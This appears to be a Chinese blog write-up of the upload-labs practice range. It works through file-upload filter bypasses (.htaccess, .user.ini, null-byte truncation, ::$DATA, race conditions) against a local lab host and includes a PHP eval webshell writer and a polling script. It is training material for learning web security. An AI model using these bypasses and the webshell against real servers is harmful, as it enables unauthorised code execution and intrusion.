前言
最近在准备比赛,发现自己基本的技能非常孱弱,大多停留在理论截断甚至理论都不清晰,实战经验过少,近期会不停的刷靶场来熟悉各种漏洞环境的利用
关于UPload_labs

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
项目地址 https://github.com/c0ny1/upload-labs
实战操作
Pass-01
Pass-01是一个前端的Javascript验证,在F12中我们可以看到一个

这个东西说实话几乎所有的Web安全基础教程都有讲到,甚至这个function名称都是这么熟悉
目前想到的方式有三种
- 在允许的后缀名里面加入php
- 删去<form>中的return checkFile()
- 将一句话的后缀改为.jpg,通过前端验证后我们使用Burpsuite抓包来更改扩展名
我们尝试加入后缀和删除函数


均上传成功

这里遇到了一个问题,Chrome浏览器删除相关代码之后还是不可以,但是改变字符串可以明显看出来改变成功,最后使用FireFox成功
Pass-02
Pass-02仍然可以看出来有checkfile(),但是Pass-02没那么简单,还是先F12删去Checkfile(),删去后发现仍然上传失败,根据提示,检查了数据包的MIME,所以我们修改一下,改为图片

这样就Pass了

Pass-03
随便上传了一句话发现禁用了.php
.asp
后缀,大小写绕过无果,尝试解析漏洞,发现这次文件名会被重命名
http://192.168.159.129/upload/202006010321305073.fasdsad
于是通过.php3
这类后缀来突破上传
Pass-04
04的黑名单相对就比较齐全了,但是还是没有过滤.htaccess,所以我们用.htaccess来绕过,也可以通过解析漏洞.php.xxxx来向上解析
AddType application/x-httpd-php .jpg
先上传图片,再上.htaccess,jpg就会被当作php解析

这就成功Getshell了
Pass-05
提示是:存在readme.php这个文件,并且过滤了.htaccess,但是根据提示我们可以猜到可以使用user.ini
auto_prepend_file=1.gif
然后再上传一个包含一句话的1.gif,就可以包含到readme.php中,连接即可
Pass-06
06更加简单,我们可以看到源码中没有把所有的字符转为小写,直接大小写绕过

Pass-07
07又加入了全部转小写,并且也限制了.htaccess和.ini后缀但是在源码中删除了去空格的代码,所以我们加空格绕过

成功Getshell
Pass-08
禁止所有可解析的文件上传,所以我们抓包上传.php.
Pass-09
源码中不处理::$DATA
所以抓包改1.php::$DATA
菜刀连接的时候只填写1.php
Pass-10
类似Pass-08 但是只处理文件名末尾的. 所以我们抓包1.php. .
即可绕过

Pass-11
$file_name = str_ireplace($deny_ext,"", $file_name);
这一行会把所有的违规后缀直接替换为空,所以我们使用双写绕过a.pphphp

上传进去的自然就是.php后缀
Pass-12
提示上传路径可控,我们使用00截断,在路径/upload/后加入/a.php%00,GET提交的参数%00可截断,但是POST提交需要在Hex中修改

上传成功

Pass-13
如12所说,在hex中改00来截断上传
Pass-14
要求文件包含来getshell,判断图片格式,那么我们传一个图片马,题目自带有include.php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
我们
http://192.168.159.129/include.php?file=/upload/4320200601165221.gif
就可以正常解析
Pass-15
使用getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING
级的错误信息,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。
我们需要一个完全正常的图片马,建议使用edjpgcom来生成,其他步骤同Pass-14
Pass-16
同Pass-14 Pass-15相同,同一个马儿就可以过,此函数需要开启php_exif
Pass-17
没搞定
Pass-18
18提示需要代码审计
代码如下
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
新建了一个tmp_file作为临时文件,是一个竞争绕过上传,先一直先burp多线程发包,然后使用脚本来不停访问

要clear所有的$
写文件脚本
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>
脚本
import requests
url = "http://192.168.159.129/upload/fputs.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
Pass-19
同18一样竞争绕过,但是是先判断后缀
Pass-20
使用文件后缀加.的方式绕过

上传成功
Pass-21
CTF题,现实中几乎遇不到这种情况,不做了